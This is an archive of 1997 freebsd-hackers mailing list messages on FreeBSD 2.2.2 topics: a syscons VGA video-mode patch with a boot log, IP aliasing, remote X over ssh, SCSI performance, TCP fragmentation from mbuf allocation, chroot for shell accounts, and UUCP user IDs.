expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam From owner-freebsd-hackers Thu May 29 21:36:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA28398 for hackers-outgoing; Thu, 29 May 1997 21:36:04 -0700 (PDT) Received: from nasu.utsunomiya-u.ac.jp (nasu.utsunomiya-u.ac.jp [160.12.128.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA28364; Thu, 29 May 1997 21:35:20 -0700 (PDT) Received: from outmail.utsunomiya-u.ac.jp (outmail.utsunomiya-u.ac.jp [160.12.196.3]) by nasu.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id NAA25875; Fri, 30 May 1997 13:24:46 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (j+4eYGZJPoCillEuIIxH5q7mpH6LVl1k@zodiac.mech.utsunomiya-u.ac.jp [160.12.33.1]) by outmail.utsunomiya-u.ac.jp (8.8.4+2.7Wbeta4/3.5Wpl3) with ESMTP id NAA16666; Fri, 30 May 1997 13:24:45 +0900 (JST) Received: from zodiac.mech.utsunomiya-u.ac.jp (zenith.mech.utsunomiya-u.ac.jp [160.12.33.60]) by zodiac.mech.utsunomiya-u.ac.jp (8.7.6+2.6Wbeta7/3.4W/zodiac-May96) with ESMTP id NAA07290; Fri, 30 May 1997 13:29:55 +0900 (JST) Message-Id: <199705300429.NAA07290@zodiac.mech.utsunomiya-u.ac.jp> To: jbryant@tfs.net cc: freebsd-hackers@freebsd.org, sos@freebsd.org, yokota@zodiac.mech.utsunomiya-u.ac.jp Subject: Re: vidcontrol under 2.2.2 In-reply-to: Your message of "Thu, 29 May 1997 12:42:31 EST." <199705291742.MAA01750@argus.nuke.net> References: <199705291742.MAA01750@argus.nuke.net> Date: Fri, 30 May 1997 13:29:54 +0900 From: Kazutaka YOKOTA Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> (Um, please be explicit about the model of your video card and the >> video mode which you are attempting to change to.) > >Cirrus Logic, 1534... >> The mode parameter table in your VGA card's ROM is not organized the >> way the console driver expects. There are unfortunately such cards out >> there. You can still use other functions of the console driver (such >> as mouse pointer), but can not change video modes. (X is OK, in case >> you are wondering :-) > >never had a problem before... 1.1.5.1-RELEASE through 2.1.x-RELEASE Were you able to set all the video modes? >> To verify if this is the case with your card, boot the system with the >> "-v" option at the "Boot:" prompt and check the output from the >> `dmesg' command afterwards. You will see "sc0: VGA registers upon >> power-up" followed by 64 bytes of hex dump. If you don't see another >> hex dump headed "sc0: VGA registers for mode:xx", the console driver >> found the mode parameter table of your VGA ROM strange and decided not >> to use it. > >if this is new, i suggest it be trashed or the old code #ifdef'ed in... >nothing ticks me off more than someone messing with my x and y >settings... i had no problems before i upgraded to 2.2.2, if it ain't >broked, don't muck with it! Well, I wonder trashing the code will be wise. You may not have had any problems with the old code, but there are built-in VGA in laptops and VGA cards (from Diamond, Trident, etc) which didn't work that way. I guess that bringing back, or #ifdef'ing, 2.1.X code in 2.2 won't be a trivial task, as it will require adjusting quite a few things added after 2.1. Anyway, we had better seek Soeren's opinion on this matter. He is the authority. In the meantime, the following patch for /sys/i386/isa/syscons.c will remove the test on the mode table in the VGA ROM, so that the syscons driver will use the table, whatever it looks like. It doesn't entirely bring the old 2.1.X behavior back. You may be able to set VGA 80x60 mode, because it used to work for you under the old code. But you may not be able to use other modes (such as EGA 80x25, 80x43). (As there are VGA cards which requires the new code, I don't think this patch will be made permanent in the source tree, though.) I would be very grateful if you could send the output of `dmesg' after patching the source and booting the kernel with the `-v' option, so that we can know exactly which part of the table looks unfamiliar to the console driver. Kazu --- syscons.c-1.182.2.18 Sun May 11 06:09:02 1997 +++ syscons.c Fri May 30 10:49:30 1997 @@ -2462,11 +2462,13 @@ init_scp(console[0]); cur_console = console[0]; +#if 0 /* discard the video mode table if we are not familiar with it... */ if (video_mode_ptr) { if (comp_vgaregs(vgaregs, video_mode_ptr + 64*console[0]->mode)) video_mode_ptr = NULL; } +#endif /* copy screen to temporary buffer */ sc_bcopy(Crtat, sc_buffer, >in the mean time, please remove the Cirrus Logic cards from the kernel >compat video card list in the advertising... Do we have the list of specific video cards supported by the kernel? Not in the handbook, FAQ, various *.TXT files in the root directoty of the distribution, and in help files of the installation program... XF86 documentation DOES have a list of supported cards and chips. But as I said in the last mail, X should run fine with the new code. From owner-freebsd-hackers Thu May 29 22:17:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA29642 for hackers-outgoing; Thu, 29 May 1997 22:17:21 -0700 (PDT) Received: from uw2cs003.cuscal.com.au (proxy.cuscal.com.au [168.217.251.201]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA29637 for ; Thu, 29 May 1997 22:17:17 -0700 (PDT) Message-Id: <199705300517.WAA29637@hub.freebsd.org> Received: from nt2cs006.cuscal.com.au ([168.217.2.1]) by uw2cs003.cuscal.com.au (Netscape Mail Server v2.02) with ESMTP id AAA27202 for ; Fri, 30 May 1997 15:16:35 +1000 Received: by nt2cs006.cuscal.COM.AU with Internet Mail Service (5.0.1457.3) id ; Fri, 30 May 1997 15:16:06 +1000 From: MARK SAYER To: "'freebsd-hackers@freebsd.org'" Subject: IP Aliasing Date: Fri, 30 May 1997 15:13:27 +1000 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Anyone know where I can find some good docs on IP aliasing/masquerading for FreeBSD. I have looked around on the WEB for a while but can't find anything. Ta. From owner-freebsd-hackers Thu May 29 22:47:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA00498 for hackers-outgoing; Thu, 29 May 1997 22:47:22 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA00491 for ; Thu, 29 May 1997 22:47:10 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id BAA06110; Fri, 30 May 1997 01:11:43 -0400 Date: Fri, 30 May 1997 01:11:42 -0400 (EDT) From: Ben Black To: MARK SAYER cc: "'freebsd-hackers@freebsd.org'" Subject: Re: IP Aliasing In-Reply-To: <199705300517.WAA29637@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk well, there's my page specifically on ip aliasing (which i need to update for 2.2)... http://www.cypher.net/~black/ipalias.html On Fri, 30 May 1997, MARK SAYER wrote: > Anyone know where I can find some good docs on IP aliasing/masquerading > for FreeBSD. I have looked around on the WEB for a while but can't find > anything. > > Ta. > From owner-freebsd-hackers Thu May 29 22:57:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA00748 for hackers-outgoing; Thu, 29 May 1997 22:57:17 -0700 (PDT) Received: from minor.stranger.com (stranger.vip.best.com [204.156.129.250]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA00743 for ; Thu, 29 May 1997 22:57:10 -0700 (PDT) Received: from dog.farm.org (dog.farm.org [207.111.140.47]) by minor.stranger.com (8.6.12/8.6.12) with ESMTP id XAA11827; Thu, 29 May 1997 23:23:26 -0700 Received: (from dk@localhost) by dog.farm.org (8.7.5/dk#3) id WAA18323; Thu, 29 May 1997 22:57:08 -0700 (PDT) Date: Thu, 29 May 1997 22:57:08 -0700 (PDT) From: Dmitry Kohmanyuk Message-Id: <199705300557.WAA18323@dog.farm.org> To: brian@utell.co.uk (Brian Somers) Cc: freebsd-hackers@freebsd.org Subject: Re: rstartd on freefall Newsgroups: cs-monolit.gated.lists.freebsd.hackers Organization: FARM Computing Association Reply-To: dk+@ua.net X-Newsreader: TIN [version 1.2 PL2] Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article <199705291406.PAA03949@utell.co.uk> you wrote: > Heh. This is a good example of me wandering around and trying to > figure out how something works. I come up with a solution and > *assume* it's the one everyone else uses 'cos it works. > How do other people exec remote X programs ? Doing a "rsh ....." > doesn't send your DISPLAY over, so you end up with some nasty lines > like: Nowadays, I almost always use `ssh host xprogram ...'. ssh is installed on most machines nowadays... and it can do compression too, via -C. You can type a password or set up .shosts trust or RSA identity. -- 'Programming is like sex, one mistake and you have to support it for the rest of your life.' M. Sinz, CBM Inc. From owner-freebsd-hackers Thu May 29 23:06:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA00972 for hackers-outgoing; Thu, 29 May 1997 23:06:04 -0700 (PDT) Received: from argus.nuke.net (node22.tfs.net [207.2.220.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA00963 for ; Thu, 29 May 1997 23:05:59 -0700 (PDT) Received: (from jbryant@localhost) by argus.nuke.net (8.8.5/8.8.5) id AAA00242; Fri, 30 May 1997 00:58:26 -0500 (CDT) From: Jim Bryant Message-Id: <199705300558.AAA00242@argus.nuke.net> Subject: Re: vidcontrol under 2.2.2 To: yokota@zodiac.mech.utsunomiya-u.ac.jp (Kazutaka YOKOTA) Date: Fri, 30 May 1997 00:57:50 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-To: jbryant@tfs.net In-Reply-To: <199705300429.NAA07290@zodiac.mech.utsunomiya-u.ac.jp> from "Kazutaka YOKOTA" at May 30, 97 01:29:54 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > >never had a problem before... 1.1.5.1-RELEASE through 2.1.x-RELEASE > > Were you able to set all the video modes? i don't know about all of them... 80x25, 80x43, 80x50, and 80x60 worked.. > >> To verify if this is the case with your card, boot the system with the > >> "-v" option at the "Boot:" prompt and check the output from the > >> `dmesg' command afterwards. You will see "sc0: VGA registers upon > >> power-up" followed by 64 bytes of hex dump. If you don't see another > >> hex dump headed "sc0: VGA registers for mode:xx", the console driver > >> found the mode parameter table of your VGA ROM strange and decided not > >> to use it. > > > >if this is new, i suggest it be trashed or the old code #ifdef'ed in... > >nothing ticks me off more than someone messing with my x and y > >settings... i had no problems before i upgraded to 2.2.2, if it ain't > >broked, don't muck with it! > > Well, I wonder trashing the code will be wise. You may not have had > any problems with the old code, but there are built-in VGA in laptops > and VGA cards (from Diamond, Trident, etc) which didn't work that way. it may not be necessary. all of the above mentioned modes now work with that section #if 0'ed out... > I would be very grateful if you could send the output of `dmesg' after > patching the source and booting the kernel with the `-v' option, so > that we can know exactly which part of the table looks unfamiliar to the > console driver. Copyright (c) 1992-1997 FreeBSD Inc. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 2.2.2-RELEASE #0: Fri May 30 00:42:26 CDT 1997 jbryant@argus:/usr/src/sys/compile/ARGUS.2.2.2 Calibrating clock(s) ... i586 clock: 132739010 Hz, i8254 clock: 1193290 Hz CLK_USE_I8254_CALIBRATION not specified - using default frequency CLK_USE_I586_CALIBRATION not specified - using old calibration method CPU: Pentium (132.73-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x52b Stepping=11 Features=0x1bf real memory = 25165824 (24576K bytes) avail memory = 22073344 (21556K bytes) pcibus_setup(1): mode 1 addr port (0x0cf8) is 0x80000068 pcibus_setup(1a): mode1res=0x80000000 (0x80000000) pcibus_check: device 0 is there (id=00071004) Probing for devices on PCI bus 0: configuration mode 1 allows 32 devices. chip0 rev 1 on pci0:0 chip1 rev 1 on pci0:6 vga0 rev 76 int a irq ?? on pci0:10 mapreg[10] type=0 addr=fd000000 size=1000000. ahc0 rev 0 int a irq 11 on pci0:11 mapreg[10] type=1 addr=0000fc00 size=0100. mapreg[14] type=0 addr=fedff000 size=1000. reg20: virtual=0xf439b000 physical=0xfedff000 size=0x1000 ahc0: Reading SEEPROM...done. low byte termination disabled, high byte termination enabled ahc0: aic7880 Wide Channel, SCSI Id=7, 16/255 SCBs ahc0: Resetting Channel A ahc0: Downloading Sequencer Program...ahc0: 411 instructions downloaded Done ahc0: Probing channel A Choosing drivers for scbus configured at 0 ahc0: target 0 Tagged Queuing Device (ahc0:0:0): "SEAGATE ST32550N 0022" type 0 fixed SCSI 2 sd is configured at 0 sd0(ahc0:0:0): Direct-Access 2047MB (4194058 512 byte sectors) sd0(ahc0:0:0): with 3511 cyls, 11 heads, and an average 108 sectors/track pci0:13: CMD, device=0x0640, class=storage (ide) int a irq 14 [no driver assigned] pci0: uses 16781312 bytes of memory from fd000000 upto fedfffff. pci0: uses 256 bytes of I/O space from fc00 upto fcff. Probing for devices on the ISA bus: sc0: the current keyboard controller command byte 0045 kbdio: RESET_KBD return code:00fa kbdio: RESET_KBD status:00aa sc0 at 0x60-0x6f irq 1 on motherboard sc0: BIOS video mode:3 sc0: VGA registers upon power-up 50 18 10 00 10 01 03 00 02 63 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 ff ff 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 00 00 00 00 00 00 10 0e 00 ff sc0: video mode:24 sc0: VGA registers for mode:24 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff sc0: VGA color <16 virtual consoles, flags=0x0> lpt0 at 0x378-0x37f irq 7 on isa lpt0: Interrupt-driven port lp0: TCP/IP capable interface bpf: lp0 attached sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A sio2 at 0x3e8-0x3ef irq 12 on isa sio2: type 16550A pca0 on motherboard pca0: PC speaker audio driver fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 72065B fd0: 1.44MB 3.5in wdc0 at 0x1f0-0x1f7 irq 14 flags 0x80ff80ff on isa wdc0: unit 0 (wd0): , multi-block-16 wd0: 1032MB (2113776 sectors), 2097 cyls, 16 heads, 63 S/T, 512 B/S wdc0: unit 1 (wd1): , multi-block-16 wd1: 1033MB (2116800 sectors), 2100 cyls, 16 heads, 63 S/T, 512 B/S wdc1 at 0x170-0x177 irq 15 flags 0x80ff80ff on isa wdc1: unit 0 (atapi): , removable, intr, iordy atapi1.0: unknown phase npx0 on motherboard npx0: INT 16 interface joy0 not found at 0x201 sb0 at 0x220 irq 5 drq 1 on isa sb0: mpu0 at 0x330 irq 5 drq 0 on isa mpu0: opl0 at 0x388 on isa opl0: imasks: bio c000c840, tty c003109a, net c003109a BIOS Geometries: 0:020a3f3f 0..522=523 cylinders, 0..63=64 heads, 1..63=63 sectors 1:020b3f3f 0..523=524 cylinders, 0..63=64 heads, 1..63=63 sectors 2:03fe3f20 0..1022=1023 cylinders, 0..63=64 heads, 1..32=32 sectors 0 accounted for Device configuration finished. Considering FFS root f/s. configure() finished. new masks: bio c000c840, tty c003109a, net c003109a bpf: tun0 attached bpf: tun1 attached bpf: sl0 attached bpf: sl1 attached bpf: ppp0 attached bpf: ppp1 attached bpf: lo0 attached bpf: ds0 attached ccd0-3: Concatenated disk drivers wd0s1: type 0xa5, start 63, end = 528191, size 528129 : OK wd0s2: type 0x6, start 528192, end = 2108735, size 1580544 : OK sd0s1: type 0xa5, start 32, end = 4192255, size 4192224 : OK wd1s1: type 0xa5, start 63, end = 2116799, size 2116737 : OK wd1s1: type 0xa5, start 63, end = 2116799, size 2116737 : OK jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam From owner-freebsd-hackers Thu May 29 23:34:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA01704 for hackers-outgoing; Thu, 29 May 1997 23:34:24 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA01690 for ; Thu, 29 May 1997 23:34:19 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.5/8.7.3) id IAA03488; Fri, 30 May 1997 08:32:24 +0200 (MEST) From: Søren Schmidt Message-Id: <199705300632.IAA03488@sos.freebsd.dk> Subject: Re: vidcontrol under 2.2.2 In-Reply-To: <199705300558.AAA00242@argus.nuke.net> from Jim Bryant at "May 30, 97 00:57:50 am" To: jbryant@tfs.net Date: Fri, 30 May 1997 08:32:24 +0200 (MEST) Cc: yokota@zodiac.mech.utsunomiya-u.ac.jp, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Jim Bryant who wrote: > sc0 at 0x60-0x6f irq 1 on motherboard > sc0: BIOS video mode:3 > sc0: VGA registers upon power-up > 50 18 10 00 10 01 03 00 02 63 5f 4f 50 82 55 81 > bf 1f 00 4f 0d 0e 00 00 ff ff 9c 8e 8f 28 1f 96 > b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c > 3d 3e 3f 0c 00 0f 00 00 00 00 00 00 10 0e 00 ff > sc0: video mode:24 > sc0: VGA registers for mode:24 > 50 18 10 00 10 00 03 00 02 67 5f 4f 50 82 55 81 > bf 1f 00 4f 0d 0e 00 00 00 00 9c 8e 8f 28 1f 96 > b9 a3 ff 00 01 02 03 04 05 14 07 38 39 3a 3b 3c > 3d 3e 3f 0c 00 0f 08 00 00 00 00 00 10 0e 00 ff > sc0: VGA color <16 virtual consoles, flags=0x0> Well, they are "close enough" for it to work :(, I guess we need some better heuristics in our test.... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Thu May 29 23:55:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA02593 for hackers-outgoing; Thu, 29 May 1997 23:55:19 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA02588 for ; Thu, 29 May 1997 23:55:16 -0700 (PDT) Received: from localhost (tom@localhost) by misery.sdf.com (8.8.5/8.8.5) with SMTP id XAA11839; Thu, 29 May 1997 23:55:02 -0700 (PDT) X-Authentication-Warning: misery.sdf.com: tom owned process doing -bs Date: Thu, 29 May 1997 23:55:01 -0700 (PDT) From: Tom Samplonius To: jbryant@tfs.net cc: freebsd-hackers@FreeBSD.ORG Subject: Re: ahc0 In-Reply-To: <199705300424.XAA01480@argus.nuke.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 29 May 1997, Jim Bryant wrote: > just another observation... > > iozone shows drastic reductions in throughput on a SCSI-2 2G > barracuda... i was getting approximately 5.5-6.5 M/S on both read and > write under 2.1-R... > > now i get approximately 2.5 M/S write and 4.5-5.5 M/S read... > > options AHC_TAGENABLE # experimental > > is the 2.1-R config and gives the above results... > > options AHC_ALLOW_MEMIO > > seems to give no improvement... > > currently running 2.2.2-R If you are sure the hardware is the same, it it likely the newfs options you used. You probably shouldn't use any. I get easy 6 to 7MB with a Barracuda 4LP 2GB drive on large sequential writes to a test file using dd, under 2.2.2. My impressions are that 2.2.2 has nice performance improvements over 2.1.x > jim > -- > All opinions expressed are mine, if you | "I will not be pushed, stamped, > think otherwise, then go jump into turbid | briefed, debriefed, indexed, or > radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" > jbryant@tfs.net - KC5VDJ 2M, 70cm, KPC-3+ - kc5vdj@wv0t.#neks.ks.usa.noam > > Tom From owner-freebsd-hackers Fri May 30 00:01:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA02881 for hackers-outgoing; Fri, 30 May 1997 00:01:32 -0700 (PDT) Received: from inetfw.sonycsl.co.jp (inetfw.sonycsl.co.jp [203.137.129.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA02876 for ; Fri, 30 May 1997 00:01:29 -0700 (PDT) Received: from hotaka.csl.sony.co.jp (hotaka.csl.sony.co.jp [43.27.98.57]) by inetfw.sonycsl.co.jp (8.8.3/3.5W) with ESMTP id HAA28266; Fri, 30 May 1997 07:01:16 GMT Received: from localhost (localhost [127.0.0.1]) by hotaka.csl.sony.co.jp (8.8.4/3.3W3) with ESMTP id QAA12323; Fri, 30 May 1997 16:01:01 +0900 (JST) Message-Id: <199705300701.QAA12323@hotaka.csl.sony.co.jp> To: Chris Csanady cc: hackers@FreeBSD.ORG Subject: Re: TCP/IP bug? Unnecessary fragmentation... In-reply-to: Your message of "Thu, 29 May 1997 15:44:30 EST." <199705292044.PAA04544@friley01.res.iastate.edu> Date: Fri, 30 May 1997 16:01:00 +0900 From: Kenjiro Cho Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Chris Csanady said: >> Another oddity is that if you close the connection immediately, for the >> same data sizes that it does this odd fragmentation (100 < S < 208), >> the FIN is piggybacked on the 2nd data segment. This doesn't happen >> with any other data size. >> I have some graphs, and I believe that it does it at many other sizes too. >> The performance hit is _much_ more that just mbuf/cluster handling should >> impose it would seem. It seems to do it up around 2000, 2100(?), 4000... >> Is this a generic 44BSD problem, or is it FreeBSD specific? It is not a bug but caused by a mismatch of the mbuf allocation and TCP, which is common to *BSD systems. The mbuf allocation algorithm is that if the data size is less than 2 MLENs (100 bytes for the first one, 108 bytes otherwise), allocate 2 mbufs. If the data size is larger than 2 MLENs, allocate a 2KB mbuf cluster. So, 2 small mbufs will be allocated when you send: 100 < len <= 208 or n * 2K + 108 < len <= n * 2K + 216 tcp_usr_send is called for each mbuf. The Nagle algorithm of TCP prevents the sender from sending a small packet when outstanding packets have not yet been acknowledged. Thus, the 2nd packet won't be sent until the ack of the 1st packet comes back. To make matters worse, the ack of the 1st packet will be delayed up to 200ms on the receiver side by the delayed ack mechanism. I think, considering the wide use of TCP, the socket layer should try to call tcp_usr_send all at once when possible. --kj From owner-freebsd-hackers Fri May 30 00:05:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA03094 for hackers-outgoing; Fri, 30 May 1997 00:05:39 -0700 (PDT) Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA03083 for ; Fri, 30 May 1997 00:05:34 -0700 (PDT) Received: from gid.co.uk (uucp@localhost) by isbalham.ist.co.uk (8.8.4/8.8.4) with UUCP id HAA28052; Fri, 30 May 1997 07:58:55 +0100 (BST) Received: from [194.32.164.2] by seagoon.gid.co.uk; Fri, 30 May 1997 07:51:30 +0100 X-Sender: rb@194.32.164.1 Message-Id: In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 30 May 1997 07:48:27 +0100 To: "Daniel O'Callaghan" From: Bob Bishop Subject: Re: Correct way to chroot for shell account users? Cc: hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 0:03 +0100 30/5/97, Daniel O'Callaghan wrote: >On Thu, 29 May 1997, Bob Bishop wrote: > >> I'm sure I'm being desperately naive here, but isn't it sufficient for >> safety to make chroot(2) a successful no-op unless / is really / (ie the >> process isn't chrooted already)? > >That means that you can't run anon ftp properly in a chrooted file system, >because ftpd is not allowed to chroot again. Why would you want to do that? -- Bob Bishop (0118) 977 4017 international code +44 118 rb@gid.co.uk fax (0118) 989 4254 between 0800 and 1800 UK From owner-freebsd-hackers Fri May 30 00:09:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA03250 for hackers-outgoing; Fri, 30 May 1997 00:09:44 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA03241 for ; Fri, 30 May 1997 00:09:40 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id RAA13498; Fri, 30 May 1997 17:09:26 +1000 (EST) Date: Fri, 30 May 1997 17:09:24 +1000 (EST) From: "Daniel O'Callaghan" To: Bob Bishop cc: hackers@FreeBSD.ORG Subject: Re: Correct way to chroot for shell account users? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 30 May 1997, Bob Bishop wrote: > At 0:03 +0100 30/5/97, Daniel O'Callaghan wrote: > >On Thu, 29 May 1997, Bob Bishop wrote: > > > >> I'm sure I'm being desperately naive here, but isn't it sufficient for > >> safety to make chroot(2) a successful no-op unless / is really / (ie the > >> process isn't chrooted already)? > > > >That means that you can't run anon ftp properly in a chrooted file system, > >because ftpd is not allowed to chroot again. > > Why would you want to do that? Well, I have virtual machines for my virtual WWW service - http, ftpd and telnetd all run chroot()ed. The customer can access everywhere in their virtual machine, and they have an anon ftp area which they can administer, but which gets chrooted again if someone logs in as anonymous. /* Daniel O'Callaghan */ /* HiLink Internet danny@hilink.com.au */ /* FreeBSD - works hard, plays hard... danny@freebsd.org */ From owner-freebsd-hackers Fri May 30 00:21:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA03852 for hackers-outgoing; Fri, 30 May 1997 00:21:10 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA03836 for ; Fri, 30 May 1997 00:21:06 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA23230 for hackers@FreeBSD.ORG; Fri, 30 May 1997 09:21:04 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id IAA07337; Fri, 30 May 1997 08:57:44 +0200 (MET DST) Message-ID: <19970530085744.UT50834@uriah.heep.sax.de> Date: Fri, 30 May 1997 08:57:44 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: uucp uid's References: <19970529221908.FX28346@uriah.heep.sax.de> <199705292138.OAA08658@seagull.rtd.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199705292138.OAA08658@seagull.rtd.com>; from Don Yuniskis on May 29, 1997 14:38:20 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Don Yuniskis wrote: > > I don't think there's a burning need why all the uucpers should have > > the same UID, but i figure it doesn't hurt either. > > It's nicer if they have different uid's -- lets you be a bit more > restrictive of the types of access you grant to each. Also lets > you see who's doing what... I think it's more of a ``It must be better, since my teacher tought me that each login needs a unque UID.'' argument. UUCP tracks activities by system name anyway. You can even get away with a single login name for all peers, but they gotta share the same password then (which is undesirable). These accounts are only supposed to run /usr/libexec/uucp/uucico, so the ``who's doing what'' argument is also a moot point. UUCP access restrictions are also placed per system, not per account. The only argument that made sense so far was somebody who wanted to run process accounting for them. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri May 30 00:25:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA04122 for hackers-outgoing; Fri, 30 May 1997 00:25:48 -0700 (PDT) Received: from seagull.rtd.com (seagull.rtd.com [198.102.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id AAA04116 for ; Fri, 30 May 1997 00:25:44 -0700 (PDT) Received: (from dgy@localhost) by seagull.rtd.com (8.7.5/8.7.3) id AAA07362; Fri, 30 May 1997 00:24:52 -0700 (MST) From: Don Yuniskis Message-Id: <199705300724.AAA07362@seagull.rtd.com> Subject: Re: diskless hardware *design* suggestions To: narvi@haldjas.folklore.ee (Narvi) Date: Fri, 30 May 1997 00:24:51 -0700 (MST) Cc: dgy@rtd.com, freebsd-hackers@freefall.FreeBSD.org In-Reply-To: from "Narvi" at May 24, 97 11:06:35 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org 